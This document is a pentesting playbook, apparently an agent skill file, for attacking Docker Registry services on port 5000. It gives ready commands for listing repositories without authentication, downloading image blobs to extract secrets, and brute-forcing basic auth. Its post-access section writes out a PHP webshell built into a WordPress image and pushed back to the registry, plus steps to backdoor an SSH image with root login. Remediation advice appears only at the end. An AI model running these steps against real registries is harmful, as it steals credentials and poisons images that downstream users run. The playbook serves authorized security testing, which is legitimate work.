| name | pentesting-docker-registry |
| description | Testing Docker Registry / Distribution services (default 5000/TCP, HTTP or HTTPS) for unauthenticated catalog access, image and blob/manifest extraction, weak basic-auth, and supply-chain image backdooring (push poisoned WordPress/SSH images) during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","docker-registry"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting Docker Registry (port 5000)
When to Use
- Default port
5000/tcp, served over HTTP or HTTPS (must determine which first). May sit behind an HTTP proxy where nmap misses it.
- When
nmap shows 5000/tcp open http Docker Registry (API: 2.0), or /v2/ returns {}.
- A registry stores named, tagged images organized into repositories; access lets you pull images (and any secrets baked into layers) or push backdoored images consumed downstream.
Quick Enumeration
curl -s http://10.10.10.10:5000/v2/_catalog
curl -k https://10.10.10.10:5000/v2/_catalog
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
python3 drg.py http://127.0.0.1 --list
python3 drg.py https://127.0.0.1 -U user -P pass --dump_all
Critical: Checks Most Often Missed
- Unauthenticated
/v2/_catalog — the registry is open if it returns a repositories list instead of an UNAUTHORIZED error. This is the most common miss; the registry is just an HTTP API.
- Secrets inside image layers/blobs — even read-only access lets you pull blobs and unpack them to recover source code,
.env, config, and credentials baked into layers.
- Weak/brute-forceable basic auth — if auth is required, brute force it, then enumerate with
-u user:pass.
- Push (write) access -> supply-chain backdoor — if push is allowed, poison an existing image so every downstream
docker pull/run executes your payload.
How to CONFIRM
- Open registry:
curl /v2/_catalog returns {"repositories":[...]} (not an UNAUTHORIZED JSON error).
- Read access proven: a
blobs/<sha256> download succeeds and tar -xf reveals real file content.
- Write access proven:
docker push <registry>/<image> completes and the new tag/manifest is retrievable.
Workflow
Step 1: Enumerate
Confirm the service (/v2/ -> {}) and whether it's HTTP or HTTPS. List repositories via /v2/_catalog. If UNAUTHORIZED, note auth is required.
Step 2: Authenticate / unauth access
If no auth -> proceed directly. If auth required, brute force basic auth, then re-enumerate with -u user:pass or -A '<bearer token>'.
Step 3: Exploit / Extract
Enumerate tags, manifests, and download/unpack blobs to mine secrets:
curl -s http://10.10.10.10:5000/v2/_catalog
curl -s http://10.10.10.10:5000/v2/ubuntu/tags/list
curl -s http://10.10.10.10:5000/v2/ubuntu/manifests/latest
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:<digest> --output blob1.tar
tar -xf blob1.tar
docker pull 10.10.10.10:5000/ubuntu
docker history 10.10.10.10:5000/ubuntu
docker run -it 10.10.10.10:5000/ubuntu bash
Step 4: Post-access / pivot
With write access, backdoor an image and push it so downstream consumers run your code.
WordPress webshell example:
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > shell.php
cat > Dockerfile <<EOF
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
EOF
docker build -t 10.10.10.10:5000/wordpress .
docker push 10.10.10.10:5000/wordpress
SSH image example: pull the image, extract sshd_config, set PermitRootLogin yes, rebuild with RUN echo root:password | chpasswd, and push. Use recovered secrets from blobs to pivot into other systems.
Key Concepts
| Concept | Description |
|---|
| Registry / repository | Storage+distribution API for tagged images; each repo holds image versions |
/v2/ API | Distribution API root; /v2/_catalog, /tags/list, /manifests/<tag>, /blobs/<digest> |
| Manifest | JSON describing an image's layers (blobSum/fsLayers) |
| Blob | A compressed layer (tar); unpack to read file content |
| Basic auth / bearer token | Optional auth gate; brute-forceable, then enumerate with creds |
| Image backdooring | Push a poisoned image so downstream pulls execute attacker code (supply chain) |
Tools & Systems
| Tool | Purpose |
|---|
| curl | Raw /v2/ API calls: catalog, tags, manifests, blob download |
| DockerRegistryGrabber (drg.py) | List/dump repos and images (with or without auth) |
| docker CLI | pull, history, run, build, push against the registry |
| tar | Unpack downloaded blobs to mine secrets |
| Hydra / brute tooling | Crack registry basic auth |
Common Scenarios
Scenario 1: Open registry secret mining
/v2/_catalog lists wordpress; pulling and unpacking blobs reveals wp-config.php with database credentials.
Scenario 2: Brute force then dump
Auth is required; basic auth is cracked (admin:admin) and drg.py --dump_all exfiltrates every image layer.
Scenario 3: Supply-chain backdoor
Write access allows pushing a modified base image; every downstream build that FROMs it now ships an attacker webshell.
Output Format
## Docker Registry Finding
**Service**: Docker Registry / Distribution (5000/tcp, HTTP|HTTPS)
**Severity**: <Critical|High>
**Target**: <scheme>://<IP>:5000 Auth: <none|basic>
### Evidence
- Unauthenticated catalog: /v2/_catalog returned <repositories>
- Read access: blob download + tar -xf exposed <secrets/files>
- Write access: pushed backdoored image <repo>:<tag> successfully
### Reproduction
curl -s http://<IP>:5000/v2/_catalog
curl http://<IP>:5000/v2/<repo>/blobs/sha256:<digest> --output blob.tar && tar -xf blob.tar
### Recommendation
1. Require authentication (token/basic) and TLS on the registry
2. Restrict network exposure; keep registries off untrusted networks
3. Enforce read-only access for consumers; gate push to CI service accounts
4. Scan images for embedded secrets; rotate any exposed credentials
5. Enable image signing/content trust to prevent poisoned images